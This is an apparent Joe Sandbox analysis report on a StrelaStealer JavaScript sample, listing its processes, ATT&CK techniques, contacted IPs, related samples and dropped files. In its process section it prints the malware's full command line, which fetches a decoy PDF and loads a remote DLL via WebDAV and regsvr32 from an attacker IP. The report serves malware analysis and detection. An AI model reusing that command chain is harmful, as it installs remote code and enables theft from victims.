Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
142628891044814616.js	13%	Virustotal		Browse
142628891044814616.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/)uM	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/%uI	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/1uE	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1327083574.000001E60BA20000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://193.143.1.205:8888/%uI	net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000F.00000002.2568816780.000001E60BC98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1324002128.0000015A7B7A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1324002128.0000015A7B7FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/)uM	net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/1uE	net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588545
Start date and time:	2025-01-11 02:15:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	142628891044814616.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.6.155.20, 20.109.210.53, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:16:26	API Interceptor	22x Sleep call for process: powershell.exe modified
20:16:30	API Interceptor	1x Sleep call for process: net.exe modified
20:16:30	API Interceptor	2x Sleep call for process: svchost.exe modified
20:16:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067037052667255
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqu:2JIB/wUKUKQncEmYRTwh0y
MD5:	77EEA9CB932C33C8F2D62366D2442955
SHA1:	BFEC27069A25A00A0C54C5F9A18520B12FAC9F51
SHA-256:	4BEA18DAB6A0F268620E995D03272F5BEA04CA05ED8598224955418C20B942C1
SHA-512:	FE0FFDA16EC9738A03B13D7E4CA4C9020B426FFEF0F3E60148C013597C8CD2A36A8EBAF3D88D6615BB2345F963935BF400843D14EE5F344FC5D0028A8A287246
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc6c9e330, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900012269459681
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	343E417117889E1B4897A614C08FEC0F
SHA1:	89F9C3A23945026A5CB05AABC44D5EB323417E11
SHA-256:	3B68A747948C941E8B6E3BF25036EFD160EE80859D32A9B46E6425D17E9B215E
SHA-512:	843517D4D459EEBF8342B02941B208EB0B25052FFBF1B9597F05AB530E2221BE298C5209F1701978D7A46F05C512DC4675A4B7357A1068F8ED3C6D9A18BBA8CC
Malicious:	false
Preview:	...0... ...............X\...;...{......................0.`.....42...{5......}K.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................6......}'.........................}'..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.081980832915686
Encrypted:	false
SSDEEP:	3:4rfml6YeMuzRXDGqt/57Dek3Jq71kYslllllallEqW3l/TjzzQ/t:4LmUz5pHR3tq7yYstlAmd8/
MD5:	875463C8898A502F2D7D38121C5ECEFD
SHA1:	62491B9D65E014A3947E9FD46DC8F250FE212B36
SHA-256:	314ADA50BFECD0E92AF42B22AAA168A3E2E6345512DD6CFE220CDEE2A83CD97A
SHA-512:	491393C4C7D9FBCDC7609A4A25E8A648D412190EDC5A633ABA9B618DB9102FE5BF1AE58B7798CCAC599B0423708FE7D9AC57DE27A62CFD660B2D99F336A3F93C
Malicious:	false
Preview:	.........................................;...{.......}'.42...{5.........42...{5.42...{5...Y.42...{59........................}'.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.204174081728991
Encrypted:	false
SSDEEP:	6:iO4qVV0RB+q2PcNwi2nKuAl9OmbnIFUtSqVV0mHZZmwsqVV0mHNVkwOcNwi2nKui:7nCMvLZHAahFUtZp5/LpT54ZHAaSJ
MD5:	61909B7E232C25F92C8876CA4B27AC51
SHA1:	8C207DFC53A6400719D44E47B64C4973EBC396D4
SHA-256:	95A7CBE38C41DAAA98B6B369FFD3DB72FAEA9E2971989581FB8E5AAD87333EBD
SHA-512:	9AA8AFD5A442FFB63A87974DC01494D36736C076948E52C2785035E22B0FCE24CE0AF76F9E5A043D8FA45B23D4B7D94430E291C5824568DA275AE40105B9DD5E
Malicious:	false
Preview:	2025/01/10-20:16:30.324 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:16:30.327 1c88 Recovering log #3.2025/01/10-20:16:30.327 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.204174081728991
Encrypted:	false
SSDEEP:	6:iO4qVV0RB+q2PcNwi2nKuAl9OmbnIFUtSqVV0mHZZmwsqVV0mHNVkwOcNwi2nKui:7nCMvLZHAahFUtZp5/LpT54ZHAaSJ
MD5:	61909B7E232C25F92C8876CA4B27AC51
SHA1:	8C207DFC53A6400719D44E47B64C4973EBC396D4
SHA-256:	95A7CBE38C41DAAA98B6B369FFD3DB72FAEA9E2971989581FB8E5AAD87333EBD
SHA-512:	9AA8AFD5A442FFB63A87974DC01494D36736C076948E52C2785035E22B0FCE24CE0AF76F9E5A043D8FA45B23D4B7D94430E291C5824568DA275AE40105B9DD5E
Malicious:	false
Preview:	2025/01/10-20:16:30.324 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:16:30.327 1c88 Recovering log #3.2025/01/10-20:16:30.327 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.165327834881179
Encrypted:	false
SSDEEP:	6:iO4qVVlBRyq2PcNwi2nKuAl9Ombzo2jMGIFUtSqVVlgZ1ZmwsqVVlgPRkwOcNwiV:7nzyvLZHAa8uFUtZA/LwR54ZHAa8RJ
MD5:	9EBC141E74CEB8F84CB4508D0EFAAB43
SHA1:	41E1A6FDCCDB47D3CA2DA868B66CB2C7171D66FF
SHA-256:	F43566D92EAD09F64EC236509935240CD97EB00E3D93E63B7C11301A96D60A49
SHA-512:	2620D161157D6F85D22E51268A3858F23A66E5CC60B8B04D2C1937F2B14F34A4F1DBBEDD884620EDE7533A8AAF960AE6E078B084FF1A07CF714740D6FC2A96AE
Malicious:	false
Preview:	2025/01/10-20:16:30.424 1d90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:16:30.425 1d90 Recovering log #3.2025/01/10-20:16:30.425 1d90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.165327834881179
Encrypted:	false
SSDEEP:	6:iO4qVVlBRyq2PcNwi2nKuAl9Ombzo2jMGIFUtSqVVlgZ1ZmwsqVVlgPRkwOcNwiV:7nzyvLZHAa8uFUtZA/LwR54ZHAa8RJ
MD5:	9EBC141E74CEB8F84CB4508D0EFAAB43
SHA1:	41E1A6FDCCDB47D3CA2DA868B66CB2C7171D66FF
SHA-256:	F43566D92EAD09F64EC236509935240CD97EB00E3D93E63B7C11301A96D60A49
SHA-512:	2620D161157D6F85D22E51268A3858F23A66E5CC60B8B04D2C1937F2B14F34A4F1DBBEDD884620EDE7533A8AAF960AE6E078B084FF1A07CF714740D6FC2A96AE
Malicious:	false
Preview:	2025/01/10-20:16:30.424 1d90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:16:30.425 1d90 Recovering log #3.2025/01/10-20:16:30.425 1d90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\15ab4b56-7d41-4993-aa1f-e9d4b5cd6aec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3225d1c4-12a6-4461-8b6d-4ec8053c3022.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955716238971806
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqbGsBdOg2Hifcaq3QYiubSpDyP7E4TX:Y2sRds2LdMH93QYhbSpDa7n7
MD5:	FCDB1CADF683E9F7C20B827D7683B28F
SHA1:	D4857E026FE21B9962560B36A4B75E9B0D15E38F
SHA-256:	8CD4D24508DAF8D86E13BC49EDD5BB7E69C321F5E4C5A88F13542FC931E7F859
SHA-512:	6E821C5226A7A63E213A73CF91B98CB376F0A671E80A0203CA5BC3733C944F4ADB8CB35990F44196DBBD490102DEB2BB332F9A682954609FC224195033BBCB4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118201663622","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129912},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF424833.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238339442093679
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPy6/gCTp:CwNw1GHqPySfkcigoO3h28ytPd/g2
MD5:	FC99A8CFC4AA3D136177C2EE7C2380C1
SHA1:	B942416EACA444EA71AF403FAA98E7FD468800E8
SHA-256:	CEE8C1BFDA763ADA4ABBA3648E30E63B3366F816A5B5AB6BFB541C6890087AA7
SHA-512:	6549A795CCCE588BABA56FEC7EAB030CBE32EA9104ED7F187610BDB310ACD91268AFBE2F4AD51DE2D52652B7CFEE70FFA4DF9B12E2B4E4FBA21131787F23461F
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

